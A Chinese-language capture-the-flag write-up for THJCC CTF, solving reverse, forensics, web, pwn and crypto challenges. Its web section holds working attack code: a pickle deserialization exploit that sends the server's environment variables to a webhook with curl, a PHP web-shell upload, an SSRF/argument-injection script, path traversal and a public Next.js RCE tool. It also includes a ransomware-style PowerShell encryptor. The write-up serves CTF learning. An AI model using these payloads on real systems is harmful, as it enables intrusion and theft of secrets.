Welcome Welcome to THJCC CTF 打開題目後發現,字會一直晃,所以直接打開devtools (按F12) 之後翻一翻找到Flag。
[color=#ffffff]Flag: THJCC{We1c0m3-tO-tHjcC-c7F_2O26}
填完表單就可以拿Flag。w
[color=#ffffff]Flag: THJCC{Thanks_\O/_L0vU}
Reverse Super baby reverse 下載題目的檔案 打開IDA Pro 按F5 直接拿Flag。w
[color=#ffffff]Flag: THJCC{BaBY_r3v3rs3_f0r_beggin3r}
Fllllllag_ch3cker_again? 下載題目的檔案 打開IDA Pro 按F5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 int __fastcall main (int argc, const char **argv, const char **envp) { __int64 v3; __int64 v4; char v6; unsigned __int64 i; __int64 v8; __int64 v9; char *v10; _BYTE v11[32 ]; _BYTE v12[32 ]; _BYTE v13[33 ]; _QWORD v14[2 ]; char v15; __int16 v16; int v17; __int64 v18; __int64 v19; _WORD v20[5 ]; __int64 v21; unsigned __int64 v22; v22 = __readfsqword(0x28u ); v15 = 32 ; v16 = 12411 ; v17 = 3295772 ; v18 = 0x62600072F5E0127LL ; v19 = 0x72A2C022D40475BLL ; v20[0 ] = 23809 ; *(_QWORD *)&v20[1 ] = 0x4355370429703438LL ; v21 = 0x2261582C00145F36LL ; v8 = 42 ; strcpy ((char *)v14, "Th1s_1s_th3_k3y" ); v9 = 15 ; std::vector<unsigned char >::vector (v11, argv); std::vector<unsigned char >::reserve (v11, 42 ); for ( i = 0 ; i <= 0x29 ; ++i ) { v6 = *((_BYTE *)&v14[1 ] + i + 7 ) ^ *((_BYTE *)v14 + i % 0xF ); std::vector<unsigned char >::push_back (v11, &v6); } v10 = &v6; v3 = std::vector<unsigned char >::size (v11); v4 = std::vector<unsigned char >::data (v11); std::string::basic_string (v12, v4, v3, &v6); std::__new_allocator<char >::~__new_allocator(&v6); std::operator <<<std::char_traits<char >>(&std::cout, "Please Enter the flag: " ); std::string::basic_string (v13); std::operator >><char >(&std::cin, v13); if ( (unsigned __int8)std::operator ==<char >(v13, v12) ) std::operator <<<std::char_traits<char >>(&std::cout, "Yes\n" ); else std::operator <<<std::char_traits<char >>(&std::cout, "You are wrong\n" ); std::string::~string (v13); std::string::~string (v12); std::vector<unsigned char >::~vector (v11); return 0 ; }
觀察逆出來的程式可以發現那是 簡單 XOR
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from struct import pack key = b"Th1s_1s_th3_k3y" mem = b"" mem += b"\x00" *16 mem += pack("<B" , 32 ) mem += pack("<H" , 12411 ) mem += pack("<I" , 3295772 ) mem += pack("<Q" , 0x062600072F5E0127 ) mem += pack("<Q" , 0x72A2C022D40475B ) mem += pack("<H" , 23809 ) mem += pack("<Q" , 0x4355370429703438 ) mem += pack("<Q" , 0x2261582C00145F36 ) start = 15 encoded = mem[start:start+42 ] flag = bytes (encoded[i] ^ key[i % len (key)] for i in range (42 ))print ("Flag:" , flag.decode())
[color=#ffffff]Flag: THJCC{A_Simpl3_R3v3r3_using_CPP_d0ing_X0R}
Misc IMAGE? 直覺把題目給的題目用binwalk解開 發現有一個zip,解開後 其中一個圖片是 flag
[color=#ffffff]Flag: THJCC{fRierEN-SO_cUTe:)}
Provisioning in Progress 剛開始不知道如何下手,都找不到auth_token 然後把題目全丟給 AI 他 直接噴給我以下三個答案,給到夯爆了。
[color=#ffffff]Flag: thjcc{only_announced_prefixes_are_real}
Metro 題目說那是捷運,我想說台灣捷運才幾站,所以直接 人工暴力搜尋法 然後 開翻google地圖。(而且有ubike站 所以還算好找 找到了是 山鼻站 (A10) 再來想說不會到上萬樓層XD,所以猜樓層
[color=#ffffff]Flag: THJCC{A10-3F}
哦更愛你了 一樣用binwalk 解出 zip檔案,但發現要密碼, 但AI 又又又又又又又又又又發力了 直接幫我猜出密碼是多少,再次夯爆了。(密碼是: 30000810
[color=#ffffff]Flag: THJCC{Y@JUNlKU}
Forensics Ransomware 打開zip後沒想法,但無意間用string看Uto.jpg 圖片的最後面發現有一個腳本是專門把flag用AES加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 $InputFile = Join-Path -Path (Get-Location ) -ChildPath 'flag.txt' $OutputFile = "$InputFile .lock" if (-not (Test-Path -LiteralPath $InputFile -PathType Leaf)) { throw "?曆??唳?獢?$InputFile " }$UnixTime = [DateTime Offset ]::UtcNow.ToUnixTimeSeconds()$md5 = [System.Security.Cryptography.MD5 ]::Create()try { $keyMaterial = [Text.Encoding ]::UTF8.GetBytes([string ]$UnixTime ) $Key = $md5 .ComputeHash($keyMaterial ) } finally { $md5 .Dispose() }$AES = [System.Security.Cryptography.Aes ]::Create()$AES .Mode = [System.Security.Cryptography.CipherMode ]::CBC$AES .Padding = [System.Security.Cryptography.PaddingMode ]::PKCS7$AES .Key = $Key $AES .GenerateIV()$in = [IO.File ]::OpenRead($InputFile )$out = [IO.File ]::Create($OutputFile )try { $unixBytes = [BitConverter ]::GetBytes([int 64 ]$UnixTime ) $out .Write($unixBytes , 0 , $unixBytes .Length) $out .Write($AES .IV, 0 , $AES .IV.Length) $enc = $AES .CreateEncryptor() $crypto = New-Object System.Security.Cryptography.CryptoStream( $out , $enc , [System.Security.Cryptography.CryptoStreamMode ]::Write ) try { $in .CopyTo($crypto ) } finally { $crypto .FlushFinalBlock() $crypto .Dispose() } }finally { $in .Dispose() $out .Dispose() $AES .Dispose() [Array ]::Clear ($Key , 0 , $Key .Length) }Remove-Item -LiteralPath $InputFile -Force
把這串code 和 被加密的 flag.txt.lock 丟給 AI 並且產生 decrypt code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import hashlibfrom Crypto.Cipher import AES file_path = "/mnt/data/flag.txt.lock" with open (file_path, "rb" ) as f: data = f.read() unix_time = int .from_bytes(data[:8 ], "little" ) iv = data[8 :24 ] ciphertext = data[24 :] key = hashlib.md5(str (unix_time).encode()).digest() cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) pad_len = plaintext[-1 ] plaintext = plaintext[:-pad_len]print ("UnixTime:" , unix_time)print ("Decrypted content:" )print (plaintext.decode(errors="replace" ))
執行程式碼即可取得flag
[color=#ffffff]Flag: THJCC{L1nK_R4Ns0mWar3_😭😭😭😭}
I use arch btw 一樣把題目載下來後是一圖片 把圖片上傳到 aperisolve (此網站是一個自動分析圖片的線上工具)
1 2 3 4 5 6 7 Scan Time: 2026-02-28 07:14:07 Target File: /app/aperisolve/results/f1eca18c1a03e7f720a0a0275fd8c389/f1eca18c1a03e7f720a0a0275fd8c389.jpg MD5 Checksum: f1eca18c1a03e7f720a0a0275fd8c389 Signatures: 436DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 76507 0x12ADB Zip archive data, at least v2.0 to extract, compressed size: 6284, uncompressed size: 9216, name: readme.xlsx
解出一個 readme.xlsx 但發現 需要密碼。 所以使用 “MS Office on-line Password Recovery service” 來解開檔案。 順利拿到flag。
[color=#ffffff]Flag: THJCC{7h15_15_7h3_m3554g3….._1_u53_4rch_b7w}
TV 一樣沒想法,所以把音檔丟給AI。他說直接在手機裡下載 Robot36 然後 電腦撥放,手機錄音。(AI說因為題目名稱是TV 而且附檔名是.flac 故推測是SSTV) 順利解出flag。
[color=#ffffff]Flag: THJCC{sSTv-is_aMaZINg}
ExBaby Shark Master 看到附檔名是pcapng。果斷用Wireshark打開。 又因為題敘說 Just Search。 故大膽在裡面搜尋字串 THJCC 順利拿到flag。
[color=#ffffff]Flag: THJCC{1t’S-3Asy*-r1gh7?????}
Web Las Vegas 先打開burp和 devtools玩玩看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 btn.onclick = function ( ) { btn.disabled = true ; let digits = [0 ,0 ,0 ]; let count = 0 ; interval = setInterval (() => { for (let i = 0 ; i < 3 ; i++) { digits[i] = getRandomDigit (); } slot.textContent = digits.join (' ' ); count++; if (count > 20 ){ clearInterval (interval); const n = digits.join ('' ); fetch ("/?n=" + n, {method : "POST" }) .then (resp => resp.text ()) .then (txt => { message.innerHTML = txt; btn.disabled = false ; }); } }, 100 ); };
發現可以用 “ /?n={三個數字} “ 來發送指令 再加上 題目提到的 Lucky 7 7 7 所以果斷把三個數字填上 777 另外還要注意把 GET 改為 POST 才會拿到flag
[color=#ffffff]Flag: THJCC{LUcKy_sEVen_7777777}
Ear👂 題目有說是 CWE-698 所以戳戳看 admin.php (用burp的 http repeater) 至於為啥先戳admin.php,是直覺。 送出的:
1 2 3 4 5 6 7 8 9 10 GET /admin.php HTTP/1 .1 Host : chal.thjcc.org:1234 Cache -Control: max-age=0 Accept -Language: zh-TW,zh;q=0 .9 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Accept -Encoding: gzip, deflate, brCookie : PHPSESSID=28 f94d3654fb9cdca29af78393789884Connection : keep-alive
收到的:
1 2 3 4 5 6 7 8 9 10 <!doctype html > <html > <head > <meta charset ="utf-8" > <title > Admin Panel</title > </head > <body > <p > Admin Panel</p > <p > <a href ="status.php" > Status page</a > </p > <p > <a href ="image.php" > Image</a > </p > <p > <a href ="system.php" > Setting</a > </p > </body > </html >
三個都戳戳看,最後發現戳到 system 時噴flag
[color=#ffffff]Flag: THJCC{U_kNoW-HOw-t0_uSe-EaR}
My First React 打開題目後 看到login介面 又看到標題是 Vite + React + TS 所以問AI 怎麼解 因為沒遇過這類題目,然後 AI 給我了下面這段POC (另外我還有把 題目的 “/assets/index-rraHEEuN.js”丟給AI)
他說把以下這段 POC 輸入Console 然後到 Network 看就可以拿到flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 async function solve ( ){ let res = await fetch ("/api/login" ,{ method :"POST" , headers :{ "Content-Type" :"application/json" }, body :JSON .stringify ({ username :"guest" , password :"guest" }) }) let data = await res.json () if (data.success ){ console .log ("FLAG =" , data.result .flag ) }else { console .log ("Login failed" ) } }solve ()
AI 跟我解釋說 這題能過是因為後端把 登入驗證與 flag 回傳直接暴露在前端 API,讓你可以直接呼叫 /api/login 用 guest 登入並從回傳結果取得 flag
[color=#ffffff]Flag: THJCC{CSR_c4n_b3_d4ng3rrr0us!}
A long time ago… 哦哦哦有source code了 找了一下感覺關鍵在 indexController.php 上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php session_start ();$flag = "THJCC{FAKE_FLAG}" ;if (!isset ($_SESSION ['username' ])){ header ('location: /login.php' ); }$is_admin = false ;if (isset ($_SESSION ['perms' ])) { foreach ($_SESSION ['perms' ] as $key => $value ) { if ($key == 'admin' ) { $is_admin = true ; break ; } } }$username_display = htmlspecialchars ($_SESSION ['username' ]);
在第13行中,使用的是寬鬆比對(在PHP7中) 故可以使 $key = 0 使 13 行的結果為真 就可以拿到 flag 故POC 如下
1 2 3 4 5 curl -X POST http://chal.thjcc.org:25601 /login.php \ -d "username=0" \ -c cookies.txt \ -b cookies.txt \ -L
再找一找就可以找到 flag 了。
[color=#ffffff]Flag: THJCC{Meow_M3ow_Me0w}
Secret File Viewer 點開網站,看到可以下載三個檔案 file_A file_B file_C 從file_B 可以得知 題目是用 前端 js 來做防護 。 有防約等於沒防,又看到 “download.php?file= “ 這個是我下載上面那三個檔案的 url 共同的特性,故果斷新增一分頁 貼上如下url後 即可獲取 flag。
1 http://chal.thjcc.org:30000/download.php?file=/flag.txt
[color=#ffffff]Flag: THJCC{h0w_dID_y0u_br34k_q’5_pr073c710n???}
No Way Out 看完題目之後,請AI幫我寫兩個 POC 一個是 不斷建php 的 ,另一個是 不斷訪問 php的 POC 如下:
建立php
1 2 3 4 while true ; do curl -s -X POST 'http://chal.thjcc.org:8080/index.php?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php' \ --data 'content=?<hp pystsme$(G_TE1[)] ;>?' > /dev/ null done
訪問php(這個要多執行幾次才會有)
1 2 curl 'http://chal.thjcc.org:8080 /shell.php?1=strings%20/flag.txt' ?<hp pxeti) ( ; >?
[color=#ffffff]Flag: THJCC{h4ppy_n3w_y34r_4nd_c0ngr47_u_byp4SS_th7_EXIT_n1ah4wg1n9198w4tqr8926g1n94e92gw65j1n89h21w921g9}
who is whois 把題目給我的source code 丟給 claude.ai
他直接給我下面的東西,在次給到夯爆了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import requestsimport pyotpimport base64import time TARGET_URL = "http://chal.thjcc.org:13316/whois" _ENC_SECRET = "Jl5cLlcsI10sKCYhLS40IykpMyQnIF8wIjEtPTM6OzI=" _XOR_KEY = "thjcc" raw = base64.b64decode(_ENC_SECRET) secret = "" .join(chr (b ^ ord (_XOR_KEY[i % len (_XOR_KEY)])) for i, b in enumerate (raw)) totp = pyotp.TOTP(secret) current_code = totp.now()print (f"[*] 使用 Secret: {secret} " )print (f"[*] 目前 TOTP: {current_code} " ) data_body = f"safekey={current_code} " content_length = len (data_body) payload = ( f'-h 127.0.0.1 -p 13316 "POST /flag HTTP/1.1\r\n' f'Host: 127.0.0.1\r\n' f'admin: thjcc\r\n' f'Content-Type: application/x-www-form-urlencoded\r\n' f'Content-Length: {content_length} \r\n' f'\r\n' f'{data_body} "' )print (f"[*] 發送 Payload..." )try : r = requests.post(TARGET_URL, data={"domain" : payload}, timeout=20 ) if "THJCC{" in r.text: print ("[+] 成功取得 Flag!" ) start = r.text.find("THJCC{" ) end = r.text.find("}" , start) + 1 print (f"\nFlag: {r.text[start:end]} \n" ) else : print ("[-] 未發現 Flag,請檢查輸出結果:" ) print (r.text)except Exception as e: print (f"[!] 發生錯誤: {e} " )
拿到flag。
[color=#ffffff]Flag: THJCC{yeyoumeng_Wh0i5_SsRf}
0422 直接在登入頁面隨便輸入張號密碼。打開DevTools 把 應用程式的 cookie 中的role改成 admin 再 重新整理網站 即可拿到 flag。
[color=#ffffff]Flag: THJCC{c00k135_4r3_n07_53cur3_1f_n07_51gn3d_4nd_p13453_d0_7h3_53cur3_c0d1ng_r3v13w_101111}
msgboard (用token打開題目之後) 一樣是丟AI(把完整的source code餵給AI) AI產生以下惡意POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 python3 << 'EOF' import re, requests, pickle, os BASE = "http://chal.thjcc.org:[port]" WEBHOOK = " [你的webhook.site網址]" s = requests.Session() r = s.get(f"{BASE}/login" ) csrf = re.search(r'name="csrf_token"[^>]*value="([^"]+)"' , r.text, re.DOTALL).group(1) s.post(f"{BASE}/login" , data={"csrf_token" : csrf, "uname" : "attacker99" , "upass" : "password123" }) r = s.get(f"{BASE}/message_board" ) csrf = re.search(r'name="csrf_token"[^>]*value="([^"]+)"' , r.text, re.DOTALL).group(1) class Exploit(object): def __reduce__(self): cmd = f"curl '{WEBHOOK}?x='\"$(env | base64 | tr -d '\\n') \"''" return (os.system, (cmd,)) payload = pickle.dumps(Exploit())print ("Payload size:" , len(payload)) boundary = "----FormBoundary7MA4YWxkTrZu0gW" body = ( f'--{boundary}\r\n' f'Content-Disposition: form-data; name="file"; filename="/python-docker/spam_classifier.joblib"\r\n' f'Content-Type: image/jpeg\r\n' f'\r\n' ).encode() + payload + ( f'\r\n--{boundary}--\r\n' ).encode() r2 = s.post(f"{BASE}/api/v1/upload_image" , data=body, headers={"X-CSRFToken" : csrf, "Content-Type" : f"multipart/form-data; boundary={boundary}" })print ("上傳 spam_classifier.joblib:" , r2.status_code, r2.text[:80]) r = s.get(f"{BASE}/message_board" ) csrf = re.search(r'name="csrf_token"[^>]*value="([^"]+)"' , r.text, re.DOTALL).group(1) r3 = s.post(f"{BASE}/message_board" , data={"csrf_token" : csrf, "content" : "trigger RCE" }, allow_redirects=False)print ("觸發結果:" , r3.status_code, r3.text[:100]) r4 = s.get(f"{BASE}/post_anonymous" ) csrf2 = re.search(r'name="csrf_token"[^>]*value="([^"]+)"' , r4.text, re.DOTALL).group(1) r5 = s.post(f"{BASE}/post_anonymous" , data={"csrf_token" : csrf2, "content" : "trigger RCE anon" }, allow_redirects=False)print ("匿名觸發結果:" , r5.status_code, r5.text[:100])print ("\n現在去 webhook.site 看有沒有收到環境變數!" ) EOF
再來去webhook.site看會得到 一串用base64編碼後的東西,解碼後如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 UV_TOOL_BIN_DIR =/usr/local/binDATABASE_URL =mongodb://user:password@mongo:27017 /message?authSource=adminGOOGLE_SAFE_BROWSING_API_KEY =your_google_safe_browsing_api_keyMAIL_USERNAME =your_email@example.comHOSTNAME =d7d4e6a51b11HOME =/home/appuserPYTHONUNBUFFERED =1 UV =/usr/local/bin/uvLC_CTYPE =C.UTF-8 UPLOAD_FOLDER =/static/uploadUV_RUN_RECURSION_DEPTH =1 SERVER_SOFTWARE =gunicorn/23.0 .0 PATH =/python-docker/.venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binMAIL_SERVER =your_mail_serverKMP_INIT_AT_FORK =FALSE KMP_DUPLICATE_LIB_OK =True email_key =your_email_passwordMAIL_DEFAULT_SENDER =your_email@example.comVIRTUAL_ENV =/python-docker/.venvPWD =/python-dockerIMAGE_PROXY_URL =http://localhost:[port]app_secret_key =jrngkzjrbgjrbgjzhgTZ =Asia/TaipeiFLAG =THJCC{model2rce456ytrrghdrydhrth}
完整攻擊鏈總結(經過詢問AI後得出):
[漏洞一] 驗證碼明文回傳 ↓ 取得驗證碼,自行註冊帳號 [漏洞二+三] 副檔名檢查失效 + secure_filename 被忽略 ↓ 可上傳任意內容、任意副檔名的檔案 [漏洞四] os.path.join 絕對路徑覆蓋 ↓ 將惡意 pickle 寫入 /python-docker/spam_classifier.joblib [漏洞五] joblib/pickle 反序列化 RCE ↓ 任何人發留言 → check_for_spam() → 執行任意命令 [結果] 讀取 FLAG 環境變數,外傳到 webhook
[color=#ffffff]Flag: THJCC{model2rce456ytrrghdrydhrth}
noaiiiiiiiiiiiiiii 這題先查看robots.txt 後發現有 /static/.backup 目錄,故前往此目錄後發現竟然可以直接看到伺服器的 檔案內容。 點擊檔案後,可以下載。
又從 Dockerfile.bak(下方程式碼) 得知伺服器有使用Node.js 8.5.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 FROM node:8.5 .0 WORKDIR /usr/src/app COPY package.json ./ RUN npm install COPY . . ![Uploading file..._xw3gxq8tm]()RUN mkdir -p static RUN echo "THJCC{FAKE_FLAG}" > /flag_F7aQ9L2mX8RkC4ZP RUN echo "User-agent: *\nDisallow: /static/.backup" > /usr/src/app/robots.txt EXPOSE 3000 CMD [ "node" , "app.js" ]
故可以用 CVE-2017-14849 來達到 路徑穿越來取得flag 使用burp的http Repeater 把請求路徑改為 /static/../../../1/../../../../flag_F7aQ9L2mX8RkC4ZP
[color=#ffffff]Flag: THJCC{y0u_mu57_b3_4_r34l_hum4n_b3c4u53_0nly_4_hum4n_c4n_r34d_4nd_und3r574nd_7h15_fl46_c0rr3c7ly}
r2s (用API_token打開題目之後)開始進行通靈大賽 看到題目敘述中有提及 “Should I upgrade my web server?” 和 “nvm” 非常容易看出 網站是有 Next.js的 再加上這題是要開 API_token 的所以大膽猜測得用Next.js 的 漏洞來達成 RCE。 又由題目r2s可以得出 “React2Shell” 更加確定了 需使用 CVE-2025-29927 來達成 RCE。 再從github上找到 名為NextRce的漏洞利用腳本。https://github.com/ynsmroztas/NextRce?tab=readme-ov-file
1 python3 NextRCSWaff.py -u http://chal.thjcc.org:10470/ -c "ls -al" --bypass
看到flag.txt 把POC 改成
1 python3 NextRCSWaff.py -u http://chal.thjcc.org:10470/ -c "cat flag.txt" --bypass
[color=#ffffff]Flag: THJCC{r34ct_ssr_rc3_1s_d4ng3r0us}
Pwn
AI Deep Inverse 為了解決這個問題,需要反轉 model.pt 中的神經網路模型 找到一個 10 維輸入向量 x ,使得模型的輸出 f(x) 約為 1337.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import torchtry : model = torch.load('model.pt' , map_location='cpu' , weights_only=False )except : model = torch.jit.load('model.pt' , map_location='cpu' ) model.eval () target = torch.tensor([[1337.0 ]])print ("正在尋找最佳解..." )for attempt in range (20 ): scale = [0.1 , 1 , 10 , 100 ][attempt % 4 ] x = (torch.randn(1 , 10 ) * scale).detach().requires_grad_(True ) optimizer = torch.optim.LBFGS([x], lr=0.1 , max_iter=20 ) def closure (): optimizer.zero_grad() output = model(x) loss = torch.nn.functional.mse_loss(output, target) loss.backward() return loss for i in range (100 ): optimizer.step(closure) current_output = model(x).item() if abs (current_output - 1337.0 ) < 0.01 : print (f"成功!在第 {attempt+1 } 次嘗試找到解。" ) final_x = x.detach().numpy().flatten() print ("\n=== 請複製這串數字貼回 nc ===" ) print ("," .join(map (str , final_x))) break else : if attempt % 5 == 0 : print (f"嘗試 {attempt+1 } ... 目前最接近輸出: {current_output:.4 f} " )
=== 請複製這串數字貼回 nc === -4953.166,3100.049,8214.963,-7810.7197,5721.9736,-16336.751,-20002.873,22925.947,3064.4937,17204.707
貼回去題目後取得flag。
[color=#ffffff]Flag: THJCC{Stoc4st1c_W3ight_D3sc3nt_M4st3r_xedrftginjk54896ghjbijkml52563201}
NEURAL_OVERRIDE 這題我也不知道發生什麼事 丟了一個他提供的.pt檔就過了 所以我覺得這題因該是在我寫的時候壞掉了
[color=#ffffff]Flag: THJCC{y0ur_ar3_the_adv3rs3r1al_attack_m0st3r}
Crypto 676767 這題簡單來說就是要把PY的偽隨機 處理掉 (POC的部分是AI寫的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * base = 86844066927987146567678238756515930889952488499230423029593188005934867676767 context.log_level = 'error' def solve (): attempts = 0 print ("[*] 開始暴力刷首抽尋找幸運數列" ) while True : attempts += 1 try : r = remote('chal.thjcc.org' , 48764 ) vals = [] for _ in range (10 ): line = r.recvline().decode().strip() val = int (line.replace('< ' , '' )) vals.append(val) if all (v < base for v in vals): print (f"[+] 在第 {attempts} 次連線時找到幸運數列" ) r.sendlineafter(b"a>" , b"-1" ) r.sendlineafter(b"b>" , b"0" ) for v in vals: r.sendlineafter(b"> " , str (v).encode()) print ("[+] 成功!伺服器回應:" ) print (r.recvall().decode()) break else : r.close() except EOFError: r.close()if __name__ == '__main__' : solve()
[color=#ffffff]Flag: THJCC{676767676767676767676767_i_dont_like_those_brainnot_memes_XD}